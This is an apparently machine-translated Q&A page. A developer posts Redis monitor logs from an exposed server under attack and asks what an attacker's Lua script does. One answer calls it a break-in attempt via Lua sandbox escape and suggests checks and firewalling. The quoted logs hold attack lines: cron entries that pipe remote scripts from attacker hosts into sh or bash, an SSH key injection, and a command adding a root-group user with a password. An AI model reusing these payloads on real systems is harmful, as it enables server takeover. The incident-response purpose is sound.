Question

我的开发机器中有开放端口的redis，现在有人试图通过redis访问我的主机，我有redis montiroing的控制台，这些是用于访问的命令。我也为某些命令提供日期时间。

GMT: Monday, August 21, 2017 4:47:53.384 AM [0 74.82.47.3:46986]     "INFO"
[0 94.74.81.202:55564]   "COMMAND"
[0 94.74.81.202:55564]   "flushall"
[0 94.74.81.202:55606]   "COMMAND"

GMT: Monday, August 21, 2017 9:21:43.586 AM [0 94.74.81.202:55606]   "set" "crackit" "\n\n\nssh-rsa .....<ssh_key>.... redis@redis.io\n\n\n\n"
[0 94.74.81.202:55646]   "COMMAND"
[0 185.163.109.66:40470] "INFO"
[0 185.163.109.66:40470] "SCAN" "9000"
[0 74.82.47.5:39660]     "INFO"
[0 98.142.140.13:51586]  "INFO"
[0 98.142.140.13:51586]  "SET" "sxyxgboqet" "\n\n*/1 * * * * /usr/bin/curl -fsSL http://98.142.140.13:8220/test11.sh | sh\n\n"
[0 52.14.111.241:58464]  "SET" "lololili" "\n\n*/1\t*\t*\t*\t*\troot\tcurl http://112.74.29.139:8898/1.sh|bash\n\n"
[0 106.2.120.103:41329]  "INFO"
GMT: Tuesday, August 22, 2017 9:56:04.350 PM [0 178.62.175.211:58716] "eval" "local asnum ... see link below "

... the full lua script ...

[0 184.105.247.252:33152] "INFO"
GMT: Wednesday, August 23, 2017 7:18:35.995 AM [0 52.14.111.241:49208]   "SET" "lololili" "\n\n*/1\t*\t*\t*\t*\troot\t(useradd -G root axis2;(echo 'asdf1234' | passwd --stdin axis2) || (echo 'axis2:
asdf1234' |chpasswd));crontab -r;:>/etc/crontab;\n\n"
GMT: Wednesday, August 23, 2017 6:04:36.397 PM [0 98.142.140.13:43540]   "INFO"
GMT: Thursday, August 24, 2017 5:22:26.931  AM [0 216.218.206.68:19396]  "INFO"

来自我的redis.log文件

的这些行

22 Aug 09:59:29.865 AM * RDB: 6 MB of memory used by copy-on-write
22 Aug 09:59:29.951 AM * Background saving terminated with success
22 Aug 09:59:30.137 AM # Failed opening the RDB file crontab (in server root dir /etc) for saving: Permission denied
23 Aug 07:18:36.049 AM * 1 changes in 900 seconds. Saving...
23 Aug 07:18:36.052 AM * Background saving started by pid 25388
23 Aug 07:18:36.054 AM # Failed opening the RDB file crontab (in server root dir /etc) for saving: Permission denied
23 Aug 07:18:36.153 AM # Background saving error
............. 
repeated every 6 minutes

任何人都可以解释一下exalty在做lua脚本吗？根据redis日志，我猜，它试图eval bash命令，该命令保存在＆＃34; lololili＆＃34;键。

提前谢谢。

Answer 1

嗨，这是企图破解你的机器。 如果没有防火墙防火墙，您不应将您的redis暴露在互联网上。

据我所知，我猜这个人正试图退出lua sandobx。

如果你有一个开放的redis服务器，就有多种方法来破解你的机器。

退出lua沙箱（在redis 2.8.4上成功尝试，附加的gist有点修改）
通过上传错误的脚本，试图让您或您的软件错误地执行它们。（起诉数据库

关于lua sandbox exit

的一些参考资料

和redis文件上传

https://packetstormsecurity.com/files/134200/Redis-Remote-Command-Execution.html

您应该检查主机上属于redis的任何文件

find / -user redis

如果你什么也没找到，对你有好处，但保护你的服务器。

尝试通过redis开放端口

来自我的redis.log文件

任何人都可以解释一下exalty在做lua脚本吗？根据redis日志，我猜，它试图eval bash命令，该命令保存在＆＃34; lololili＆＃34;键。

1 个答案: